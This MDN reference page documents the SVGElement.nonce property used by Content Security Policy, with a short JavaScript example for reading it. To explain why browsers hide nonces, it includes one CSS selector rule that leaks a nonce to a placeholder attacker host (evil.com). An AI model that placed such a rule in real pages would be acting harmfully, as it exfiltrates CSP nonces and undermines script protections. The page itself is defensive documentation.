SVG
The nonce property of the SVGElement interface returns the Nonce that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.
Value
A String; the cryptographic nonce, or an empty string if no nonce is set.
Examples
Retrieving a nonce value
In the past, not all browsers supported the nonce IDL attribute, so a workaround is to try to use getAttribute as a fallback:
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");
// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`
However, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). The IDL property (svg['nonce']) will be the only way to access nonces.
Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector:
svg[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Specifications
Browser compatibility
See also
- HTMLElement.nonce a similar method for HTML elements.
nonceglobal attribute- Content Security Policy
- CSP: script-src
来源:MDN Web Docs / Mozilla 贡献者 · 作者与贡献记录 · CC BY-SA 2.5。离线整理了版式、链接和媒体显示。
